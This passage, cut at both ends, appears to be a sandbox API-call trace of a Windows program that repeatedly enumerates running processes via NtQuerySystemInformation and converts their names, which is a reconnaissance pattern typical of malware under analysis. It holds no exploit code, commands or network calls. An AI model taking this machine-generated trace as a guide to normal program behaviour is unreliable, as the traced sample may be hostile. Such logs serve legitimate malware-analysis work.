out: DestinationString="svchost.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="audiodg.exe", AllocateDestinationString=1 | out: DestinationString="audiodg.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="sihost.exe", AllocateDestinationString=1 | out: DestinationString="sihost.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e20 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1 | out: DestinationString="OfficeClickToRun.exe") returned 0x0 [0065.111] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0065.111] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SecurityHealthService.exe", AllocateDestinationString=1 | out: DestinationString="SecurityHealthService.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1a) returned 0x31688a8 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="Memory Compression", AllocateDestinationString=1 | out: DestinationString="Memory Compression") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x13) returned 0x3171330 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="ShellExperienceHost.exe", AllocateDestinationString=1 | out: DestinationString="ShellExperienceHost.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x18) returned 0x3171330 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="SearchUI.exe", AllocateDestinationString=1 | out: DestinationString="SearchUI.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x31713d0 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e20 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e20 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e50 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0065.112] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0065.112] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x31713d0 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e50 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x3168830 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e38 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171310 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31624a0 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171310 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e20 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e20 [0065.113] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0065.113] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175b18 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171310 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e08 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168948 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171310 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dd8 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0065.114] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0065.114] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0065.115] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0065.115] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0065.115] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e68 [0065.115] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0065.115] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0065.115] Sleep (dwMilliseconds=0x64) [0067.059] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0067.059] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.060] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0067.060] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.060] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0067.060] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.061] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0067.061] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.061] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0067.061] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.061] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0067.061] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.061] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0067.061] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.062] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0067.062] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.062] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0067.062] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.062] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0067.062] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.066] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0067.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.068] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0067.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.068] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0067.068] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.069] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0067.069] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.069] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0067.069] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.069] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0067.069] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.070] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0067.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.070] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0067.070] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.071] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0067.071] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.071] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0067.071] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.072] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0067.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.072] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0067.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.073] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0067.073] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.073] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0067.073] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.074] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0067.074] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.074] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0067.074] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.075] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0067.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.075] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0067.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0067.075] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0067.075] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0067.076] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0067.076] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175cb8 [0067.076] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0067.076] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e38 [0067.076] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0067.076] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0067.076] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0067.076] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0067.077] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0067.077] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0067.077] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0067.077] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0067.077] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0067.077] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0067.077] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="lsass.exe", AllocateDestinationString=1 | out: DestinationString="lsass.exe") returned 0x0 [0067.077] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0067.077] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.077] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0067.077] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0067.077] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161dc0 [0067.077] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="fontdrvhost.exe", AllocateDestinationString=1 | out: DestinationString="fontdrvhost.exe") returned 0x0 [0067.077] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161e20 [0067.077] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.077] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0067.077] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dwm.exe", AllocateDestinationString=1 | out: DestinationString="dwm.exe") returned 0x0 [0067.077] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175c98 [0067.077] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e20 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0067.078] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spoolsv.exe", AllocateDestinationString=1 | out: DestinationString="spoolsv.exe") returned 0x0 [0067.078] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) 